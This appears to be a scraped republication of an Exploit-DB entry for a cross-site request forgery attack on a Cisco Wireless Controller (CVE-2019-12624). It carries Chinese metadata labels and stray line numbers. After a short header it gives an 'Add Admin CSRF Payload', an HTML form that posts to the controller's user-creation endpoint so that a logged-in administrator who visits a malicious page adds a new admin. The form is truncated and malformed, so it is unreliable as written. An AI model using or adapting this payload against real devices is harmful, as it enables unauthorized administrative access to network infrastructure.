Cisco Wireless Controller 3.6.10E – Cross-Site Request Forgery - 体验盒子

作者： Mehmet Onder

日期： 2019-07-24

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/47153/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

# Product : Cisco Wireless Controller

# Version : 3.6.10E (last version)

# Date: 23.07.2019

# Vendor Homepage: https://www.cisco.com

# Exploit Author: Mehmet Önder Key

# Website: htts://cloudvist.com

# CVE: CVE-2019-12624

# Description : The application interface allows users to perform certain

actions via HTTP requests without performing any validity checks to verify

the requests. This can be exploited to perform certain actions with

administrative privileges if a logged-in user visits a malicious web site.

# Tested On : Win10 & KaliLinux

Add Admin CSRF Payload @Cisco Wireless Controller

---------------

<html>

<body>

<form action="http://IP/security/cfgSecurityAAAUsersCreate

<http://192.168.115.83/security/cfgSecurityAAAUsersCreate>" method="POST">

</form>

</body>

</html>